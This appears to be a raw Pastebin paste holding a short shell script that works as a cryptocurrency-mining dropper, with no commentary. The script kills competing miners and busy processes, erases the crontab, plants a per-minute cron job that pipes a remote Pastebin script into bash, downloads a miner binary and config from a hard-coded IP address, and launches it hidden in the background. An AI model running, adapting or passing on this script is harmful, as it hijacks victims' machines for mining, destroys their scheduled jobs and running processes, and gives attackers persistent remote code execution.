Advertisement
FingerLickingGood

Untitled

Aug 3rd, 2018
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.81 KB | None | 0 0
  1. #!/bin/sh
  2. pkill -f 192.99.142.232
  3. pkill -f suppoie
  4. ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
  5. do
  6. kill -9 $procid
  7. done
  8. rm -rf /dev/shm/jboss
  9. ps -fe|grep -w sustes |grep -v grep
  10. if [ $? -eq 0 ]
  11. then
  12. pwd
  13. else
  14. crontab -r || true && \
  15. echo "* * * * * curl -s https://pastebin.com/raw/WuvPxLk5 |  bash -s" >> /tmp/cron || true && \
  16. crontab /tmp/cron || true && \
  17. rm -rf /tmp/cron || true && \
  18. sed -i 's/\r//g'
  19. curl -o /var/tmp/config.json https://pastebin.com/raw/ASJFCz8i
  20. curl -o /var/tmp/sustes http://192.99.142.248:8220/rig
  21. chmod 777 /var/tmp/sustes
  22. cd /var/tmp
  23. proc=`grep -c ^processor /proc/cpuinfo`
  24. cores=$((($proc+1)/2))
  25. num=$(($cores*3))
  26. /sbin/sysctl -w vm.nr_hugepages=`$num`
  27. nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
  28. fi
  29. sleep 3
  30. echo "runing....."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement